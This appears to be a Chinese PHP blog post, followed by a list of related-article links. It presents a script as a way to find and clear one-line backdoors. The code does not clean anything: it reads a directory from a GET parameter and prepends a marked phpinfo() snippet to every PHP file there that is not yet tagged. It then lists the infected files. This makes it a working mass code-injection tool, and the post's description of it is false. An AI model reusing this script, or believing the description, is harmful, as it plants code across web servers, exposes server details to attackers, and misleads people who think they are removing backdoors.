用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
libmysql.dll与php.ini是否真的要拷贝到c:\windows目录下呢
Mar 15 PHP
PHP 根据IP地址控制访问的代码
Apr 22 PHP
PHP如何解决网站大流量与高并发的问题
Jun 25 PHP
php curl 伪造IP来源的实例代码
Nov 01 PHP
PHP字符串的递增和递减示例介绍
Feb 11 PHP
ThinkPHP缓存方法S()概述
Jun 13 PHP
单台服务器的PHP进程之间实现共享内存的方法
Jun 13 PHP
百度工程师讲PHP函数的实现原理及性能分析(一)
May 13 PHP
如何使用GDB调试PHP程序
Dec 08 PHP
php无法连接mysql数据库的正确解决方法
Jul 01 PHP
PHP使用curl_multi_select解决curl_multi网页假死问题的方法
Aug 15 PHP
phpstorm最新激活码分享亲测phpstorm2020.2.3版可用
Nov 22 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
在项目中寻找代码的坏命名
2012/07/14 PHP
php 注册时输入信息验证器的实现详解
2013/07/05 PHP
php表单敏感字符过滤类
2014/12/08 PHP
PHP实现关键字搜索后描红功能示例
2019/07/03 PHP
php常用日期时间函数实例小结
2019/07/04 PHP
JavaScript中的私有成员
2006/09/18 Javascript
Chrome中JSON.parse的特殊实现
2011/01/12 Javascript
用jquery模仿的a的title属性(兼容ie6/7)
2013/01/21 Javascript
javascript时间函数基础介绍
2013/03/28 Javascript
js实现屏蔽默认快捷键调用自定义事件示例
2013/06/18 Javascript
js将控件隐藏及display属性的使用介绍
2013/12/30 Javascript
JavaScript实现的简单拖拽效果
2015/06/01 Javascript
jquery验证邮箱格式是否正确实例讲解
2015/11/16 Javascript
Bootstrap每天必学之导航条
2015/11/27 Javascript
javascript点击按钮实现隐藏显示切换效果
2016/02/03 Javascript
ionic 上拉菜单(ActionSheet)实例代码
2016/06/06 Javascript
js实现功能比较全面的全选和多选
2017/03/02 Javascript
利用 spin.js 生成等待效果(js 等待效果)
2017/06/25 Javascript
jQuery Form插件使用详解_动力节点Java学院整理
2017/07/17 jQuery
js如何编写简单的ajax方法库
2017/08/02 Javascript
vue-rx的初步使用教程
2018/09/21 Javascript
vue实现多级菜单效果
2019/10/19 Javascript
详解vue页面首次加载缓慢原因及解决方案
2019/11/06 Javascript
[01:04:05]Mineski vs TNC 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/16 DOTA
[08:53]DOTA2-DPC中国联赛 正赛 PSG.LGD vs LBZS 选手采访
2021/03/11 DOTA
Python使用zip合并相邻列表项的方法示例
2018/03/17 Python
Python3使用PySynth制作音乐的方法
2019/09/09 Python
详解HTML5中的标签
2015/06/19 HTML / CSS
美国在线家装零售商:Build.com
2016/09/02 全球购物
设计师家具购买和委托在线市场:Viyet
2016/11/16 全球购物
小学教师的个人自我鉴定
2013/10/26 职场文书
小学领导班子对照材料
2014/08/23 职场文书
办公室个人总结
2015/02/28 职场文书
2016三严三实专题教育活动心得体会
2016/01/06 职场文书
PHP中->和=>的意思
2021/03/31 PHP
Java后端 Dubbo retries 超时重试机制的解决方案
2022/04/14 Java/Android